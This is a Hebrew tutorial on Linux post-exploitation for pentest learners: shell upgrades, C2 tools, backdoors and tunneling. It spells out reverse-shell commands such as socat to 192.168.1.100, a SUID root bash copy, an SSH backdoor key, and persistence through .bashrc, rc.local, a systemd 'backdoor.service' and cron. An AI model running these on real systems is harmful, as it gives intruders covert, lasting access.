לדלג לתוכן

הצלחנו להסלים הרשאות, מה עכשיו?

קצת על ריברס shell

אז דיברנו קצת על reverse shell-ים בעבר, ובגדול אפשר ליצור reverse shell ממש פשוט באמצעות המון פקודות ותוכנות שיש במחשבי לינוקס.
אם אתם צריכים תזכורת, בקרו באתר הבא ותקראו את הreverse shell-ים השונים שאפשר לעשות שם: https://www.revshells.com/

  • אחת הבעיות של reverse shell שמאוד קל לתקוע אותם, כלומר בגלל שאין לנו חיבור טרמינל אמיתי ואנחנו כנראה עובדים מעל ncat, אז בכל ctrl+c לא נכון, אנחנו יכולים להקריס את החיבור.
  • כדי לפתור את הבעיה, נוכל ליצור "tty" לחיבור שלנו- או במילים אחרות, לקבל הגדרות של shell ממערכת ההפעלה בצד שרת כדי לעטוף את החיבור לshell אמיתי ולקבל shell חוסני יותר.

קראו את המדריך הבא: https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/

הנה כמה דרכים:
- באמצעות פקודת פייתון

python -c 'import pty; pty.spawn("/bin/bash")'

- ליצור reverse shell עם socat
# on attacker
socat file:`tty`,raw,echo=0 tcp-listen:4444
# on attacked
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444

אם לא מותקן socat, תוכלו להוריד בינארי סטטי: https://github.com/andrew-d/static-binaries/tree/master
- ליצור tty עם bash:
ctrl + z
stty raw -echo && fg
export TERM=xterm

בגדול כדי לשפר אפילו עוד יותר את החוויה שלנו עם reverse shell-ים, נוכל להשתמש בכלים צד לוקח שעוטפים reverse shell-ים.

הכלי pwncat

הכלי pwncat מאפשר לנו לבסס reverse shell פשוט עם צד לקוח מורכב עם המון אפשרויות.
- הרימו חיבור מאזין עם pwncat,
- הריצו על הנתקף reverse shell פשוט שמתחבר לpwncat שלכם
- וקיבלתם כלי לניהול הreverse shell.
https://github.com/calebstewart/pwncat

כלי סייבר בלינוקס

אבל מה לעשות, ריברס של אף פעם לא יכול להיות פתרון הרמתי.
וכאשר אנחנו רוצים לקבל שליטה יותר חזקה על המכונה, נצטרך להשתמש בכלי סייבר אמיתי ויותר חזק.
נרצה להתקין כלים שיאפשרו לנו לבצע פעולות בצורה קלה ונוחה. הכלים הללו צריכים לעמוד בכמה קריטריונים:

  1. לאפשר הרצת קוד באופן חופשי.
  2. לאפשר העלאה והורדה של קבצים למכונה.
  3. לאפשר טינול (tunneling) מהמחשב שלנו לרשת פנימית דרך המחשב שעליו אנחנו רצים.
  4. שהכלי יהיה פרסיסטנטי, כך שגם לאחר אתחול מחדש של המערכת הכלי ישאר.

דוגמאות לכלים מוכרים באינטרנט

הכלי Sliver

הכלי Sliver הוא כלי C2 (Command & Control) מתקדם שמאפשר שליטה מרחוק, הצפנה מלאה של תקשורת, והעברת קבצים בצורה מאובטחת.

הגיטהאב של סליבר: https://github.com/BishopFox/sliver
עמוד הוויקי של סליבר: https://sliver.sh/docs?name=Getting+Started
כנסו לוויקי ולמדו בעצמכם כיצד להשתמש בסליבר, בגדול תצטרכו להרים שרת c2 שמנהל את כל הכלים שלכם (הagent-ים)- ואחרכך תוכלו לג'נרט agent-ים כקבצי בינארים (קבצי הרצה) ולהריץ אותם על מחשב הנתקף.

שרת SSH

שרת SSH היא עוד דרך שבה נוכל להתחבר למכונה, להעלות ולהוריד קבצים, ולטנל תעבורה דרכה עם תעבורה מוצפנת בSSL ופרסיסטנטית לחלוטין.
- כמובן רלוונטית רק אם כבר יש שרת SSH על המכונה, ומשאירה המון לוגים.

יצירת מפתח SSH והכנסתו למכונה:

בפקודות למטה אנחנו יוצרים מפתח SSH, ומכניסים אותו לתקיית ה.ssh של תקיית הבית של המשתמש שדרכו אנחנו מריצים קוד.
המטרה היא ליצור מפתח שנוכל להשתמש בו כדי להתחבר לשרת הSSH בלי סיסמה. (לא תמיד יש לנו אותה)

ssh-keygen -t rsa -b 4096 -f ~/.ssh/backdoor_key
ssh-copy-id -i ~/.ssh/backdoor_key user@target

התחברות למכונה מרחוק:

כדי להתחבר למכונה, נוכל לעשות פקודת ssh בסיסית רק עם הדגל i- שבאמצעתו אנחנו נביא את מפתח הssh שגינרטנו כדי לאיתמת מול שרת הSSH

ssh -i ~/.ssh/backdoor_key user@target

הכלי weevely3 (Web Shell) + SUID Binary

הכלי weevely3 הוא web shell שיודע לגנרט וובשלים מוצפנים עם העלה והורדה של קבצים.

אפשר לצייד כל מערכת לינוקס שאנחנו מריצים עלייה קוד עם בינארי של shell עםsuid bit לroot, כדי לשמור את ההרשאות הroot, וזה שילוב נהדר עם וובשל.

cp /bin/bash /tmp/shell
chmod +s /tmp/shell

עכשיו בכל פעם שנריץ את /tmp/shell עם הדגל -p נוכל להריץ קוד כroot.
וזה עובד מצויין אם אנחנו עובדים דרך וובשל שכנראה רץ בהרשאות נמוכות (הרשאות של אתר).

/tmp/shell -p -c "whoami"

https://github.com/epinna/weevely3

הכלי Dropbear (שרת SSH קל משקל)

לפעמים כשאין שרת ssh על המכונה, נוכל להתקין dropbear- שזה שרת ssh מקומפל וקטן שאפשר להריץ בפשטות כבינארי על כל מכונה.

התקנת Dropbear:

apt install dropbear

הפעלת Dropbear עם פורט מותאם אישית:

dropbear -p 2222

התחברות לשרת Dropbear:

ssh -p 2222 user@target

כמובן שכשאנחנו מתחברים לdropbear אפשר גם לעשות זאת עם מפתח, אם אין לנו creds של משתמש במערכת.

כלי טינול

חלק מהכלים לא מאפשרים לנו לטנל לתוך הרשת, בדרך כלל וובשלים לא מאפשרים וגם כלים כמו dropbear.
כדי לטנל ניתן להשתמש בכלי טינול שמיועדים לכך.

הכלי Chisel

הכלי Chisel הוא כלי טינול קל משקל שמאפשר ליצור חיבורי רשת מאובטחים דרך פרוקסי. ניתן להשתמש בו כדי לעקוף חומות אש או להעביר תעבורה דרך חיבור מאובטח.

דוגמאות לפקודות:

הפעלת שרת Chisel:

chisel server --reverse --port 8080

הפעלת לקוח שמתחבר לשרת ומגדיר העברת פורטים:

chisel client 192.168.1.100:8080 R:1080:127.0.0.1:22

בפקודה זו, הלקוח מתחבר לשרת בכתובת 192.168.1.100 בפורט 8080 ומבצע טינול הפוך (reverse tunneling), כך שחיבור לפורט 1080 בשרת יעבור ל־127.0.0.1:22 של הלקוח.

הכלי socat

הכלי Socat הוא כלי מתקדם להעברת נתונים בין שני סוקטים. הוא מאפשר יצירת חיבורים מוצפנים, הפניית תעבורה, ויצירת פרוקסי מאולתר.

דוגמאות לפקודות:

יצירת טינול פשוט מ־localhost:8080 לשרת מרוחק בפורט 80:

socat TCP-LISTEN:8080,fork TCP:192.168.1.100:80

שימוש ב־socat ליצירת חיבור הפוך (reverse shell) מאובטח:

socat TCP:192.168.1.100:4444 EXEC:/bin/bash

האזנה מרחוק עם חיבור מוצפן (TLS) לשרת:

socat OPENSSL-LISTEN:443,reuseaddr,cert=cert.pem,key=key.pem,fork SYSTEM:/bin/bash

פקודה זו יוצרת שרת שמאזין בפורט 443 ומספק גישה ל־shell באמצעות TLS.

הכלי iptables

הכלי iptables משמש לשליטה בתעבורת הרשת, וניתן להשתמש בו גם כדי ליצור כללי טינול והפניית תעבורה.

דוגמאות לפקודות:

הפניית תעבורה מפורט 8080 לכתובת פנימית בפורט 80:

iptables -t nat -A PREROUTING -p tcp --dport 8080 -j DNAT --to-destination 192.168.1.100:80

הגדרת שרת פרוקסי שמפנה תעבורה דרך מכונה אחרת:

iptables -t nat -A OUTPUT -p tcp --dport 80 -j DNAT --to-destination 192.168.1.200:3128

שימוש בטינול הפוך עם iptables וחיבור לשרת מרוחק:

iptables -t nat -A OUTPUT -p tcp --dport 4444 -j DNAT --to-destination 192.168.1.100:22

פקודה זו גורמת לכך שכל חיבור לכתובת המקומית בפורט 4444 ינותב לכתובת 192.168.1.100 בפורט 22.

שיטות פרסיסנטיות לכלי סייבר

לפעמים, לכלי סייבר שונים אין פרסיסטנטיות, למזלנו בלינוקס יש המון דרכים שבהם נוכל להריץ קוד כאשר המחשב מקבל ריסטרט.
הנה כמה דרכים מוכרות:

שיטת Shell Configuration Modification

עריכת קובצי shell כמו .bashrc או .profile להוספת פקודות שירוצו בהתחברות:

echo '/usr/bin/sliver-agent' >> ~/.bashrc

שיטת rc.local / rc.common

עריכת קובץ /etc/rc.local כדי להפעיל כלי אחרי אתחול:

echo '/usr/bin/sliver-agent' >> /etc/rc.local

שיטת Systemd Services

יצירת שירות חדש שמפעיל כלי בעת עליית המערכת:

echo -e '[Unit]\nDescription=Backdoor Service\n[Service]\nExecStart=/usr/bin/sliver-agent\n[Install]\nWantedBy=multi-user.target' > /etc/systemd/system/backdoor.service
systemctl enable backdoor.service

שיט Cron Jobs

הוספת משימה מתוזמנת להרצת כלי בכל דקה:

echo '* * * * * root /usr/bin/sliver-agent' >> /etc/crontab

דוגמה לשימוש בכלים.

  • נשתמש בכלי Sliver כדי להשאיר גישה למחשב הלינוקס .
  • נשתמש בשיטת Systemd Services כדי להבטיח שהכלי ישרוד אתחול (פרסיסטנטיות).
  • נשתמש בשרת Chisel כדי ליצור טינול לרשת הפנימית.

פיתוח כלי סייבר בקטנה

כדי לפתח כלי סייבר בלינוקס שרצים בצד הנתקף צריך לדעת לפתח בשפת תכנות שיכולה לתקשר עם מערכת ההפעלה מבוססת לינוקס בצורה טובה, וגם שפה שבסוף תביא לנו בינארי (קובץ הרצה) שנוכל להריץ על הנתקף.
- זאת עבודה קשה.
- בדרך כלל נעשה זאת עם שפה כמו C, go, Rust, CPP ועוד.
- חוץ מללמוד את השפה לעומק, תצטרכו גם לדעת איך מערכות הפעלה מבוססות לינוקס עובדות מאחורי הקלעים ברמה גבוהה, ואיך ניתן לכתוב כלי שיודע לנצל את הפיצ'רים השונים במערכת ההפעלה כדי לעבוד יותר טוב ובצורה מוסתרת

עולם הפיתוח כלים, הוא ענק ומורכב מאוד.
ממליץ מאוד לנסות להיכנס לעולם הזה, ללא ספק יעזור לכם גם כחוקרי אבטחה ובודקי חדירות.